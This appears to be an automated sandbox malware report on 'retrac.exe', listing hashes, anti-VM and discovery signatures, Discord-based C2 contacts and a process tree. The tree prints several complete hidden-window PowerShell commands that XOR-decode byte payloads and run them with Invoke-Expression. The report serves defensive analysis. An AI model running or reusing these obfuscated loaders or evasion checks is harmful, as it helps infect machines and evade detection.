4c6a47b1307f576a926c77e6f547c2e2318cc9ca5694550bce49762dab5fbe92

Analysis

user interaction
yes
max time kernel
149s
max time network
123s
platform
windows11-21h2_x64
resource
win11-20260911-en
resource tags

arch:x64arch:x86image:win11-20260911-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/09/2026, 22:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
retrac.exe
Size 796KB
Sample260929-2dfd9azv4n
SHA256 4c6a47b1307f576a926c77e6f547c2e2318cc9ca5694550bce49762dab5fbe92
MD5 5ea30a57c6a3a6c8401a0b5d3433c7fd
SHA1 3212dd12422118de10b4772164c07b28d658ae79
SHA512 e4acf4fefeb79de892655a76698b630ca61529d794f029c9195a04b223472ea6e5131eb4b1c1d78179cf41efd4e3aa565c8f148ffb5310299dc032e04a7a07f4
SSDEEP 12288:Yo7gxpxzTedtQUOF4s3OeF7Fpya3JtDt1IWW0yk8a8URYiDSn2lbSb:Yo7upxzTedted7Fpn3nZLh8aeiGn2S
TLSH
T1C805BF45F2FD41F8D07BD1389686AA0FEA363809072025DB63E046987FB77F45BB6612
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution

Malware Config

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 10 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	powershell.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	powershell.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	powershell.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	powershell.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	powershell.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	powershell.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	powershell.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	powershell.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	powershell.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	powershell.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 10 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	powershell.exe

Badlisted process makes network request 10 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
1	3712	powershell.exe
2	3964	powershell.exe
3	1788	powershell.exe
4	1504	powershell.exe
5	5072	powershell.exe
6	2696	powershell.exe
7	3724	powershell.exe
8	4416	powershell.exe
9	992	powershell.exe
10	3300	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4416	powershell.exe
1504	powershell.exe
3712	powershell.exe
2696	powershell.exe
3300	powershell.exe
3724	powershell.exe
3964	powershell.exe
5072	powershell.exe
1788	powershell.exe
992	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 10 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	powershell.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	powershell.exe

Executes a file named after a Windows system binary 1 TTPs 1 IoCs

The file runs from a user directory while carrying the name of an executable that normally only exists in System32.

defense_evasion

Match Legitimate Name or Location

T1036.005

description	ioc	Process
File opened (read-only)	C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe	RuntimeBroker.exe

Executes dropped EXE 1 IoCs

pid	Process
3036	RuntimeBroker.exe

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
36	discord.com
37	discord.com
39	discord.com

Enumerates connected drives 3 TTPs 10 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4184	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Suspicious behavior: EnumeratesProcesses 32 IoCs

pid	Process
3724	powershell.exe
2696	powershell.exe
1504	powershell.exe
1788	powershell.exe
4416	powershell.exe
992	powershell.exe
992	powershell.exe
5072	powershell.exe
3712	powershell.exe
3712	powershell.exe
5072	powershell.exe
3964	powershell.exe
3964	powershell.exe
3300	powershell.exe
3300	powershell.exe
3964	powershell.exe
3712	powershell.exe
1504	powershell.exe
1504	powershell.exe
2696	powershell.exe
2696	powershell.exe
1788	powershell.exe
1788	powershell.exe
3724	powershell.exe
3724	powershell.exe
5072	powershell.exe
4416	powershell.exe
4416	powershell.exe
992	powershell.exe
3300	powershell.exe
3036	RuntimeBroker.exe
3036	RuntimeBroker.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
4156	msedge.exe
4156	msedge.exe
4156	msedge.exe
4156	msedge.exe
4156	msedge.exe
4156	msedge.exe
4156	msedge.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeDebugPrivilege	3724	powershell.exe
Token: SeDebugPrivilege	2696	powershell.exe
Token: SeDebugPrivilege	1504	powershell.exe
Token: SeDebugPrivilege	1788	powershell.exe
Token: SeDebugPrivilege	4416	powershell.exe
Token: SeDebugPrivilege	992	powershell.exe
Token: SeDebugPrivilege	3712	powershell.exe
Token: SeDebugPrivilege	5072	powershell.exe
Token: SeDebugPrivilege	3964	powershell.exe
Token: SeDebugPrivilege	3300	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
4156	msedge.exe
4156	msedge.exe
4156	msedge.exe

Suspicious use of WriteProcessMemory 42 IoCs

description	pid	Process	procid_target
PID 3904 wrote to memory of 3724	3904	retrac.exe	81
PID 3904 wrote to memory of 3300	3904	retrac.exe	82
PID 3904 wrote to memory of 2696	3904	retrac.exe	83
PID 3904 wrote to memory of 992	3904	retrac.exe	84
PID 3904 wrote to memory of 3964	3904	retrac.exe	85
PID 3904 wrote to memory of 3036	3904	retrac.exe	86
PID 3036 wrote to memory of 3712	3036	RuntimeBroker.exe	92
PID 3036 wrote to memory of 1788	3036	RuntimeBroker.exe	93
PID 3036 wrote to memory of 1504	3036	RuntimeBroker.exe	94
PID 3036 wrote to memory of 5072	3036	RuntimeBroker.exe	95
PID 3036 wrote to memory of 4416	3036	RuntimeBroker.exe	96
PID 3036 wrote to memory of 4156	3036	RuntimeBroker.exe	102
PID 4156 wrote to memory of 1956	4156	msedge.exe	103
PID 4156 wrote to memory of 4184	4156	msedge.exe	105
PID 4156 wrote to memory of 1912	4156	msedge.exe	106
PID 4156 wrote to memory of 1912	4156	msedge.exe	106
PID 4156 wrote to memory of 1912	4156	msedge.exe	106
PID 4156 wrote to memory of 724	4156	msedge.exe	107
PID 4156 wrote to memory of 724	4156	msedge.exe	107
PID 4156 wrote to memory of 2416	4156	msedge.exe	108
PID 4156 wrote to memory of 2416	4156	msedge.exe	108
PID 4156 wrote to memory of 2052	4156	msedge.exe	109
PID 4156 wrote to memory of 2416	4156	msedge.exe	108
PID 4156 wrote to memory of 2052	4156	msedge.exe	109
PID 4156 wrote to memory of 2052	4156	msedge.exe	109
PID 4156 wrote to memory of 1860	4156	msedge.exe	110
PID 4156 wrote to memory of 1860	4156	msedge.exe	110
PID 4156 wrote to memory of 1860	4156	msedge.exe	110
PID 4156 wrote to memory of 4532	4156	msedge.exe	111
PID 4156 wrote to memory of 872	4156	msedge.exe	112
PID 4156 wrote to memory of 1724	4156	msedge.exe	113
PID 4156 wrote to memory of 4532	4156	msedge.exe	111
PID 4156 wrote to memory of 4532	4156	msedge.exe	111
PID 4156 wrote to memory of 872	4156	msedge.exe	112
PID 4156 wrote to memory of 872	4156	msedge.exe	112
PID 4156 wrote to memory of 1724	4156	msedge.exe	113
PID 4156 wrote to memory of 1724	4156	msedge.exe	113
PID 4156 wrote to memory of 912	4156	msedge.exe	115
PID 4156 wrote to memory of 912	4156	msedge.exe	115
PID 4156 wrote to memory of 4920	4156	msedge.exe	116
PID 4156 wrote to memory of 4920	4156	msedge.exe	116
PID 4156 wrote to memory of 4920	4156	msedge.exe	116

C:\Users\Admin\AppData\Local\Temp\retrac.exe
"C:\Users\Admin\AppData\Local\Temp\retrac.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -nop -w hidden -c "$aq='I';$aq+='E'+'X';$vf=3+2;$mn=[byte[]]@(0x5c,0x24,0x54,0x03,0x71,0x24,0x50,0x4a,0x11,0x21,0x1d,0x31,0x74,0x08,0x04,0x0d,0x10,0x72,0x4e,0x7b,0x01,0x01,0x7b,0x58,0x19,0x17,0x21,0x03,0x0d,0x0f,0x24,0x2b,0x3d,0x0e,0x26,0x41,0x2b,0x2e,0x5a,0x07,0x19,0x12,0x07,0x37,0x2d,0x2d,0x04,0x15,0x3a,0x3d,0x11,0x13,0x0d,0x38,0x53,0x11,0x31,0x64,0x2f,0x21,0x3d,0x31,0x11,0x10,0x17,0x3c,0x1a,0x14,0x63,0x36,0x12,0x14,0x78,0x75,0x13,0x7e,0x30,0x3e,0x4d,0x2d,0x1d,0x21,0x1d,0x1e,0x1a,0x2c,0x42,0x0a,0x65,0x63,0x26,0x0e,0x15,0x15,0x5f,0x25,0x2b,0x1d,0x2f,0x67,0x1d,0x0c,0x64,0x27,0x19,0x12,0x23,0x32,0x38,0x2a,0x00,0x55,0x58,0x1b,0x07,0x50,0x64,0x11,0x60,0x2f,0x32,0x25,0x1c,0x20,0x79,0x0c,0x0a,0x16,0x14,0x21,0x4e,0x1a,0x31,0x69,0x40,0x5f,0x74,0x39,0x55,0x2c)+[byte[]]@(0x3f,0x70,0x31,0x1c,0x0b,0x26,0x44,0x63,0x2b,0x39,0x5e,0x42,0x62,0x0c,0x25,0x09,0x14,0x62,0x39,0x31,0x39,0x00,0x2d,0x64,0x0b,0x1f,0x73,0x3e,0x04,0x07,0x3e,0x0c,0x05,0x1c,0x36,0x3d,0x2c,0x0e,0x3f,0x71,0x05,0x15,0x69,0x3d,0x62,0x6d,0x15,0x61,0x2f,0x65,0x54,0x04,0x43,0x3b,0x0f,0x1b,0x67,0x23,0x59,0x16,0x65,0x60,0x18,0x6c,0x22,0x7c,0x15,0x44,0x32,0x3d,0x00,0x5d,0x67,0x1d,0x57,0x16,0x2d,0x64,0x4a,0x20,0x37,0x2e,0x5f,0x2d,0x3d,0x1f,0x39,0x13,0x62,0x16,0x7f,0x2d,0x6b,0x14,0x0f,0x31,0x31,0x05,0x5f,0x43,0x3f,0x37,0x1d,0x61,0x2b,0x23,0x52,0x0d,0x28,0x02,0x07,0x29,0x3c,0x16,0x04,0x14,0x1d,0x7a,0x40,0x18,0x6d,0x63,0x53,0x1a,0x20,0x63,0x47,0x7e,0x2d,0x2a,0x1c,0x02,0x31,0x3c,0x1f,0x5c,0x21,0x28,0x1b,0x35,0x20)+[byte[]]@(0x26,0x3c,0x20,0x28,0x2d,0x00,0x0a,0x0c,0x72,0x44,0x66,0x38,0x24,0x16,0x45,0x2d,0x30,0x1a,0x35,0x63,0x77,0x4a,0x4e,0x40,0x7c,0x58,0x06,0x7e,0x63,0x07,0x52,0x76,0x6a,0x5c,0x75,0x63,0x69,0x56,0x48,0x4b,0x67,0x46,0x40,0x3e,0x2c,0x51,0x07,0x62,0x64,0x43,0x0a,0x2c,0x2c,0x23,0x10,0x14,0x37,0x49,0x17,0x3a,0x6d,0x1b,0x37,0x36,0x21,0x2c,0x24,0x2a,0x31,0x06,0x29,0x19,0x20,0x1a,0x5a,0x24,0x2a,0x4b,0x01,0x24,0x30,0x0d,0x2d,0x22,0x25,0x5e,0x10,0x1e,0x7a,0x3d,0x56,0x39,0x39,0x1b,0x32,0x24,0x30,0x06,0x65,0x7d,0x28,0x4c,0x02,0x2b,0x26,0x08,0x41,0x3e,0x60,0x66,0x10,0x2a,0x27,0x0b,0x36,0x2a,0x78,0x41,0x09,0x58,0x7f,0x3e,0x5a,0x24,0x29,0x59,0x15,0x16,0x30,0x17,0x29,0x3c,0x78,0x2d,0x10,0x1c,0x36,0x0c,0x5d,0x37,0x30);$qu=([Text.Encoding]::ASCII.GetBytes('xRi3JM6bEDnEYXey'))*27;$nc=New-Object byte[] $mn.Length;for($dj=0;$dj-lt$mn.Length;$dj++){$nc[$dj]=$mn[$dj]-bxor$qu[$dj]};$iw=[Text.Encoding]::UTF8.GetString($nc);try{& $aq $iw}catch{}"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Looks for VirtualBox Guest Additions in registry
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Looks for VMWare Tools registry key
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -nop -w hidden -c "$yi='I';$yi+='E'+'X';$qk=5+8;$r=[byte[]]@(0x16,0x1f,0x4a,0x5e,0x58,0x1c,0x20,0x49,0x3d,0x21,0x21,0x42,0x48,0x26,0x0c,0x41,0x3b,0x4a,0x14,0x2d,0x73,0x7e,0x24,0x4d,0x32,0x30,0x3a,0x00,0x35,0x3e,0x05,0x00,0x73,0x39,0x39,0x1f,0x54,0x30,0x06,0x56,0x39,0x6e,0x5b,0x1b,0x03,0x1b,0x02,0x19,0x04,0x0e,0x11,0x64,0x15,0x43,0x00,0x05,0x19,0x15,0x12,0x0e,0x57,0x0c,0x4c,0x5b,0x06,0x19,0x1d,0x44,0x5c,0x3d,0x45,0x1f,0x79,0x63,0x4b,0x5e,0x1f,0x0b,0x1d,0x07,0x0f,0x40,0x11,0x15,0x62,0x08,0x03,0x06,0x43,0x52,0x0e,0x2a,0x25,0x09,0x68,0x6a,0x36,0x39,0x2b,0x61,0x04,0x2b,0x61,0x20,0x64,0x64,0x24,0x00,0x0f,0x11,0x10,0x6a,0x41,0x20,0x2a,0x31,0x18,0x39,0x20,0x20,0x42,0x32,0x18,0x56,0x45,0x6c,0x5d,0x06,0x1b,0x1d,0x44,0x5c,0x3d,0x45,0x1f,0x79,0x63,0x4b,0x5e,0x1f)+[byte[]]@(0x0b,0x1d,0x07,0x0f,0x40,0x11,0x15,0x62,0x08,0x03,0x06,0x43,0x52,0x0e,0x2a,0x25,0x09,0x68,0x6a,0x2d,0x37,0x3f,0x71,0x04,0x2b,0x61,0x20,0x64,0x73,0x2a,0x27,0x27,0x3f,0x31,0x15,0x25,0x3d,0x18,0x04,0x74,0x2a,0x2e,0x32,0x6a,0x74,0x43,0x48,0x41,0x4e,0x0f,0x58,0x0a,0x55,0x0a,0x13,0x6e,0x4c,0x07,0x2b,0x26,0x16,0x41,0x00,0x44,0x4e,0x77,0x1a,0x0e,0x2f,0x57,0x5b,0x07,0x5a,0x3e,0x02,0x01,0x2e,0x41,0x4d,0x21,0x3c,0x40,0x5f,0x22,0x28,0x78,0x03,0x4a,0x1b,0x3e,0x71,0x7d,0x47,0x27,0x0f,0x17,0x1d,0x1b,0x5b,0x53,0x03,0x37,0x42,0x37,0x17,0x03,0x51,0x3c,0x07,0x75,0x0c,0x54,0x57,0x27,0x16,0x03,0x06,0x5d,0x6f,0x4a,0x4e,0x6a,0x37,0x4e,0x00,0x51,0x44,0x0e,0x27,0x18,0x4a,0x1e,0x71,0x5c,0x1f,0x18,0x05,0x06,0x58,0x11,0x04)+[byte[]]@(0x0b,0x16,0x37,0x47,0x10,0x13,0x1e,0x41,0x73,0x47,0x66,0x17,0x51,0x12,0x4e,0x1f,0x1a,0x17,0x05,0x7c,0x4e,0x46,0x73,0x6a,0x18,0x54,0x43,0x59,0x1b,0x62,0x5a,0x00,0x4b,0x0a,0x02,0x53,0x46,0x5d,0x52,0x46,0x73,0x4e,0x1a,0x30,0x33,0x51,0x00,0x51,0x4d,0x18,0x1c,0x1f,0x47,0x23,0x51,0x5e,0x0c,0x57,0x4a,0x13,0x55,0x6b,0x34,0x1a,0x21,0x10,0x57,0x16,0x1f,0x0e,0x65,0x32,0x18,0x40,0x0c,0x56,0x55,0x14,0x14,0x0f,0x17,0x16,0x2e,0x1a,0x14,0x7f,0x3b,0x50,0x4d,0x22,0x08,0x46,0x27,0x47,0x63,0x04,0x4c,0x5a,0x49,0x53,0x1e,0x4a,0x0e,0x15,0x15,0x08,0x36,0x26,0x1b,0x35,0x04,0x02,0x56,0x36,0x19,0x40,0x45,0x1c,0x42,0x49,0x5a,0x39,0x0a,0x1b,0x22,0x0e,0x1e,0x17,0x26,0x4f,0x09,0x13,0x4d,0x7d,0x3a,0x0e,0x57,0x00,0x56,0x4f,0x14);$s=([Text.Encoding]::ASCII.GetBytes('2iwncuFaiDR6evm5Sj3e8'))*21;$sy=New-Object byte[] $r.Length;for($eg=0;$eg-lt$r.Length;$eg++){$sy[$eg]=$r[$eg]-bxor$s[$eg]};$fv=[Text.Encoding]::UTF8.GetString($sy);try{& $yi $fv}catch{}"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Looks for VirtualBox Guest Additions in registry
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Looks for VMWare Tools registry key
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -nop -w hidden -c "$bd='I';$bd+='E'+'X';$f=3+8;$sk=[byte[]]@(0x66,0x2f,0x4c,0x58,0x08,0x5f,0x17,0x10,0x18,0x33,0x1c,0x22,0x68,0x3a,0x52,0x47,0x3d,0x65,0x40,0x00,0x73,0x0e,0x14,0x4b,0x34,0x60,0x79,0x37,0x6c,0x1b,0x17,0x3d,0x13,0x19,0x25,0x41,0x52,0x36,0x29,0x02,0x14,0x6e,0x2b,0x2b,0x05,0x1d,0x52,0x5a,0x33,0x57,0x34,0x76,0x28,0x23,0x20,0x19,0x47,0x13,0x14,0x21,0x03,0x21,0x4c,0x2b,0x36,0x1f,0x1b,0x14,0x1f,0x0a,0x1c,0x3a,0x6b,0x5e,0x2b,0x7e,0x03,0x55,0x1b,0x01,0x20,0x14,0x3c,0x15,0x12,0x38,0x05,0x00,0x13,0x11,0x39,0x73,0x00,0x1b,0x55,0x0a,0x16,0x25,0x75,0x67,0x02,0x04,0x35,0x0d,0x64,0x14,0x14,0x06,0x09,0x41,0x53,0x5d,0x18,0x05,0x38,0x0c,0x78,0x19,0x3c,0x7e,0x44,0x34,0x37,0x02,0x68,0x6c,0x2d,0x36,0x1d,0x1b,0x14,0x1f,0x0a,0x1c,0x3a,0x6b,0x5e,0x2b,0x7e,0x03)+[byte[]]@(0x55,0x1b,0x01,0x20,0x14,0x3c,0x15,0x12,0x38,0x05,0x00,0x13,0x11,0x39,0x73,0x00,0x1b,0x55,0x0a,0x0d,0x2b,0x61,0x77,0x02,0x04,0x35,0x0d,0x64,0x03,0x1a,0x21,0x21,0x6f,0x72,0x22,0x7c,0x18,0x0a,0x39,0x14,0x0a,0x32,0x6c,0x6c,0x72,0x6c,0x1c,0x6c,0x4e,0x7f,0x68,0x0c,0x53,0x5a,0x50,0x59,0x15,0x22,0x39,0x1b,0x76,0x61,0x1c,0x1a,0x48,0x71,0x35,0x5a,0x02,0x57,0x2b,0x37,0x5c,0x38,0x52,0x42,0x19,0x18,0x68,0x33,0x01,0x20,0x7f,0x3e,0x76,0x7e,0x05,0x65,0x4f,0x13,0x71,0x0d,0x77,0x21,0x09,0x47,0x5e,0x2c,0x02,0x76,0x11,0x0a,0x22,0x17,0x0b,0x5d,0x57,0x3a,0x28,0x21,0x21,0x54,0x27,0x17,0x10,0x05,0x56,0x1e,0x58,0x13,0x6b,0x78,0x0a,0x2e,0x20,0x4d,0x1a,0x08,0x21,0x37,0x1e,0x33,0x71,0x2c,0x2f,0x1e,0x03,0x56,0x1b,0x26,0x5d)+[byte[]]@(0x2e,0x04,0x0a,0x27,0x30,0x0f,0x40,0x47,0x75,0x68,0x32,0x3a,0x51,0x62,0x7e,0x19,0x1c,0x47,0x46,0x4b,0x17,0x63,0x61,0x57,0x78,0x74,0x5f,0x07,0x1d,0x64,0x75,0x54,0x66,0x0a,0x72,0x63,0x40,0x5b,0x02,0x05,0x44,0x17,0x3f,0x22,0x0e,0x31,0x20,0x4d,0x13,0x1e,0x1a,0x30,0x13,0x0e,0x51,0x2e,0x3c,0x51,0x4c,0x43,0x16,0x5c,0x6d,0x3f,0x33,0x2d,0x37,0x36,0x03,0x50,0x63,0x34,0x37,0x14,0x21,0x56,0x25,0x24,0x12,0x09,0x47,0x55,0x19,0x43,0x31,0x6d,0x06,0x30,0x6d,0x3e,0x56,0x40,0x21,0x68,0x37,0x29,0x4c,0x2a,0x79,0x55,0x18,0x1a,0x4d,0x22,0x4c,0x2d,0x24,0x1b,0x7b,0x15,0x18,0x5c,0x50,0x30,0x36,0x14,0x68,0x1c,0x32,0x79,0x5c,0x3f,0x5a,0x58,0x15,0x57,0x3b,0x05,0x1b,0x2f,0x29,0x0f,0x13,0x7b,0x3c,0x21,0x03,0x2d,0x56,0x3f,0x24);$w=([Text.Encoding]::ASCII.GetBytes('BYqh36q8LVoVEj33UEgH8'))*21;$zn=New-Object byte[] $sk.Length;for($hg=0;$hg-lt$sk.Length;$hg++){$zn[$hg]=$sk[$hg]-bxor$w[$hg]};$n=[Text.Encoding]::UTF8.GetString($zn);try{& $bd $n}catch{}"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Looks for VirtualBox Guest Additions in registry
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Looks for VMWare Tools registry key
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -nop -w hidden -c "$j='I';$j+='E'+'X';$h=1+8;$ac=[byte[]]@(0x12,0x32,0x55,0x42,0x48,0x1a,0x09,0x52,0x13,0x37,0x39,0x27,0x1a,0x63,0x20,0x30,0x31,0x6a,0x6b,0x2e,0x7d,0x08,0x25,0x48,0x2f,0x20,0x20,0x3c,0x13,0x05,0x0b,0x01,0x72,0x6f,0x0e,0x36,0x38,0x29,0x20,0x03,0x6a,0x12,0x01,0x00,0x07,0x06,0x0e,0x16,0x05,0x3d,0x32,0x73,0x70,0x46,0x24,0x37,0x2d,0x6a,0x0d,0x02,0x52,0x2d,0x1c,0x1b,0x1c,0x1d,0x1c,0x5d,0x6e,0x29,0x6e,0x25,0x0a,0x02,0x3c,0x7f,0x30,0x2c,0x64,0x32,0x53,0x37,0x1c,0x5f,0x23,0x12,0x1b,0x12,0x67,0x75,0x02,0x18,0x7b,0x7e,0x7b,0x18,0x0a,0x05,0x0a,0x32,0x61,0x05,0x3a,0x37,0x2f,0x25,0x22,0x0d,0x26,0x20,0x2f,0x7f,0x17,0x7a,0x2f,0x27,0x77,0x16,0x1a,0x2b,0x41,0x25,0x1a,0x17,0x53,0x27,0x00,0x15,0x2b,0x21,0x6d,0x7a,0x4c,0x17,0x37,0x79,0x68,0x37,0x77,0x0f)+[byte[]]@(0x50,0x6c,0x3c,0x17,0x00,0x07,0x42,0x2a,0x26,0x26,0x22,0x73,0x10,0x7b,0x0a,0x08,0x14,0x70,0x10,0x2e,0x77,0x16,0x2c,0x25,0x32,0x21,0x2a,0x26,0x06,0x11,0x1a,0x1a,0x6b,0x77,0x12,0x00,0x0d,0x16,0x1a,0x24,0x79,0x1c,0x37,0x2d,0x54,0x5a,0x14,0x5e,0x31,0x6f,0x7b,0x2e,0x0c,0x5a,0x27,0x6c,0x74,0x24,0x23,0x12,0x16,0x60,0x1e,0x5b,0x08,0x57,0x1f,0x47,0x0d,0x3d,0x23,0x3d,0x1a,0x63,0x20,0x30,0x31,0x6a,0x68,0x03,0x58,0x32,0x52,0x26,0x36,0x3e,0x3f,0x5a,0x6f,0x09,0x03,0x1c,0x19,0x63,0x20,0x30,0x31,0x17,0x76,0x5c,0x71,0x21,0x1c,0x20,0x12,0x1d,0x0b,0x15,0x2a,0x14,0x23,0x3f,0x52,0x7d,0x20,0x29,0x3c,0x62,0x65,0x4d,0x11,0x6a,0x0d,0x0a,0x16,0x54,0x46,0x41,0x33,0x20,0x33,0x28,0x7e,0x5d,0x37,0x2b,0x32,0x2f,0x61,0x31,0x53)+[byte[]]@(0x26,0x3a,0x17,0x02,0x06,0x0a,0x09,0x33,0x72,0x67,0x06,0x45,0x5a,0x61,0x63,0x31,0x3e,0x38,0x16,0x0c,0x6b,0x47,0x45,0x4b,0x5d,0x5e,0x4f,0x73,0x7c,0x7b,0x63,0x04,0x1d,0x73,0x74,0x63,0x7b,0x7f,0x57,0x05,0x71,0x47,0x01,0x07,0x12,0x08,0x1f,0x60,0x72,0x67,0x1c,0x42,0x47,0x07,0x2d,0x35,0x2f,0x6c,0x42,0x46,0x64,0x45,0x27,0x00,0x16,0x2d,0x1b,0x34,0x3b,0x29,0x03,0x56,0x41,0x32,0x2d,0x37,0x2d,0x31,0x05,0x57,0x30,0x0b,0x1a,0x08,0x0e,0x54,0x13,0x21,0x7a,0x1e,0x36,0x44,0x47,0x6c,0x14,0x38,0x3e,0x24,0x46,0x12,0x34,0x41,0x09,0x20,0x07,0x0e,0x08,0x33,0x7f,0x1a,0x21,0x58,0x50,0x24,0x37,0x2a,0x6a,0x68,0x16,0x16,0x69,0x3f,0x1b,0x1d,0x17,0x00,0x0d,0x14,0x26,0x33,0x3f,0x52,0x13,0x09,0x2d,0x3d,0x2e,0x29,0x08,0x4b,0x39);$c=([Text.Encoding]::ASCII.GetBytes('6DhrssozGRJS73ADYJLf'))*22;$g=New-Object byte[] $ac.Length;for($zs=0;$zs-lt$ac.Length;$zs++){$g[$zs]=$ac[$zs]-bxor$c[$zs]};$yc=[Text.Encoding]::UTF8.GetString($g);try{& $j $yc}catch{}"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Looks for VirtualBox Guest Additions in registry
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Looks for VMWare Tools registry key
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
